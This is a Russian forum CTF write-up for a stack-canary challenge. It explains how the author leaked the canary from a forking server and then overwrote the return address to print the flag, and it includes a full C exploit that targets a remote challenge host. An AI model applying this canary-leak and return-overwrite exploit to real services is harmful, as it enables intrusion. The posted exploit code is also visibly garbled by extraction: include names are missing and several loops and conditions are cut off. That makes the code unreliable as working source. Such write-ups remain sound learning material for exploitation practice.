ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Задания/Квесты/CTF/Конкурсы (https://forum.antichat.xyz/forumdisplay.php?f=112)
-   -   Решение таска - Канарейка [Writeup] (https://forum.antichat.xyz/showthread.php?t=1643304)

xverizex 17.04.2024 13:38

Канарейка сразу же с первого прочтения даёт понять, что там будет защита с невозможностью переполнить буфер. Решил взять эту задачу и посмотреть что из этого выйдет. В задаче дана серверная программа, которую нужно как ни странно взломать. Если взлом удастся, то программа прочитает из переменной окружения флаг. Я запустил radare2 и начал исследовать код. Оказалось, что он создает форк при новом подключении и если будет искажение стека, то дочерний процесс рухнет. Мы отправимся в функцию hello и будем её исследовать.
Я запустил сервер с портом 3333 и подключился через nc к нему. После того как подключился, с помощью radare2 я приаттачился к дочернему процессу. Дочерний процесс завис на функции recv и можно было посмотреть состояния регистров. Если кто не знает, то в стеке никогда нет мусора. К примеру, если у нас такой код.

C:


Код:

void
a
(
)
{
int
a
=
4
;
}
void
b
(
)
{
int
b
;
}

Если мы вызовем сначала функцию 'a', а потом 'b', то в функции 'b' у переменной b будет значение 4, так как в предыдущем адресе в стеке сохранилось число 4.
Чтобы удостовериться в том, что это верно и для этой программы, я в каждом подключении снимал отпечатки регистров. Всего было три подключения, одно подключение вызвало порчу стека.

https://forum.antichat.xyz/attachmen...f9e40f31ee.png

Как видно из трёх разных подключений, все три имели одинаковые значения регистров.
Давайте теперь посмотрим на код в начале функции.

https://forum.antichat.xyz/attachmen...99b7987e7b.png

Всего для стека выделяется 0x410 байт. По адресу 0x401350 мы видим [rbp - 0x3f0], - это наш указатель на буфер, который сервер принимает от клиента. По адресу 0x40134a есть [rbp - 8], это канарейка, защита от переполнения буфера. Но прикол в том, recv принимает 0x400, то есть 1024 байта. 0x3f0 - 8 = 0x3e0, то есть 1000. Стек не испортится, если мы отправим 1000 байт, вместо доступных 1024.

https://forum.antichat.xyz/attachmen...693a4f2725.png

Также он после того как принял буфер от клиента, ищет символ '\n' и отсекает его и на месте него ставит ноль. Получается, что буфер обрезается по этот индекс.

https://forum.antichat.xyz/attachmen...1751c902be.png

Также ставится в [rbp - 0x3fc] ноль. Если тут будет стоять 1, то флаг напечатается.

Первая идея была отправить 1024 байта на сервер как 'AAAAAA', чтобы процесс убился, а потом отправить 'AA' к примеру и он возвратит нам полную строку вместе с канарейкой. Но такое мне никак не удавалось сделать. Всё время возвращалось корректное число символов. Но в данном сервере стек очищался и при каждом запуске становился как новенький. Значит нужно было искать другой подход.

Исследуя дальше, я заметил, что канарейка прописана в двух местах в памяти. Тогда я подсчитал сколько байт нужно до канарейки и забросил туда буфер.

https://forum.antichat.xyz/attachmen...edc63fe29e.png

После 41 41 41 начинается канарейка 1c 6f 9f 1a 6b 79 5e. Она то в ответе и возвращается. Далее надо было узнать насколько хватает стереть буфер, вдруг будет возможно перезаписать адрес возврата из функции, чтобы он запускал сразу вывод флага! Так и получилось. После проб и ошибок я написал программу на C, которая выводит флаг.

Если на локальной машине всё работало нормально, то на удалённой работало вообще не так как задумывалось.

Вот скрин того, что на локальной машине отрабатывает.

https://forum.antichat.xyz/attachmen...1feb8d9d0a.png

Но на локальной машине тоже не сразу отрабатывает, так что я решил несколько раз запустить на удаленке и попытать удачу. Но на удаленке не сработало. Тогда я пошел спать, так как были почти сутки как я не сплю.
Поспав 5 часов я переписал exploit немного. Самая главная часть была в том, что смещения в стеке различались между локальной и удаленной машиной. Если на локальной хватало отправить 969 байт, то на удаленной мне пришлось подобрать каждый раз прибавляя 8. В итоге подошла вот такая комбинация.

Код:

int len = 969 + 8 + 8 + 8 + 8;
В итоге мы получили вот такое чудо.

https://forum.antichat.xyz/attachmen...43d0e68910.png

Выкладываю код exploit. Возможно для получения флага придется запустить несколько раз, потому что канарейку не каждый раз получалось получить.

C:


Код:

#include
#include
#include
#include
#include
#include
int
sock
;
static
void
reconnect
(
)
{
if
(
sock
>
0
)
close
(
sock
)
;
sock
=
socket
(
AF_INET
,
SOCK_STREAM
,
0
)
;
struct
sockaddr_in
s
;
s
.
sin_family
=
AF_INET
;
#if 0
inet_aton
(
"127.0.0.1"
,
&
s
.
sin_addr
)
;
s
.
sin_port
=
htons
(
3333
)
;
#else
inet_aton
(
"62.173.140.174"
,
&
s
.
sin_addr
)
;
s
.
sin_port
=
htons
(
27500
)
;
#endif
connect
(
sock
,
(
const
struct
sockaddr
*
)
&
s
,
sizeof
(
s
)
)
;
sleep
(
1
)
;
}
int
main
(
int
argc
,
char
*
*
argv
)
{
char
buf
[
1025
]
;
char
serv
[
16384
]
;
char
ready
[
512
]
;
uint8_t canary
[
9
]
;
int
addr
=
0
;
int
len
=
969
+
8
+
8
+
8
+
8
;
for
(
int
stage
=
0
;
stage
=
0
)
{
serv
[
r
]
=
0
;
//printf ("%s", serv);
}
else
{
printf
(
"error line: %d\n"
,
__LINE__
)
;
break
;
}
memset
(
buf
,
0
,
1025
)
;
//printf ("Ready?\n");
//fgets (ready, 512, stdin);
switch
(
stage
)
{
case
0
:
memset
(
buf
,
'A'
,
len
)
;
//printf ("\n%s\n", buf);
printf
(
"[+] stage 0\n"
)
;
write
(
sock
,
buf
,
len
)
;
break
;
case
1
:
printf
(
"[+] stage 1\n"
)
;
memset
(
buf
,
'A'
,
1024
)
;
/* address canary */
addr
=
1000
;
for
(
int
i
=
0
;
i

0
)
{
serv
[
r
]
=
0
;
char
*
flag
=
strstr
(
serv
,
"CODEBY"
)
;
if
(
flag
)
{
printf
(
"[+] Flag: %s\n"
,
flag
)
;
}
else
{
//printf ("%s\n", serv);
}
if
(
stage
==
0
)
{
uint8_t
*
s
=
serv
;
while
(
*
s
==
'A'
)
s
++
;
int
indc
=
0
;
canary
[
indc
++
]
=
0
;
printf
(
"[+] Found canary: "
)
;
for
(
int
i
=
0
;
i

0
)
{
serv
[
r
]
=
0
;
}
}
}
}

Задача была весьма интересной. Я рад таким задачам, где можно поломать голову и почувствовать себя хакером! ))

Всем спасибо!


Время: 02:51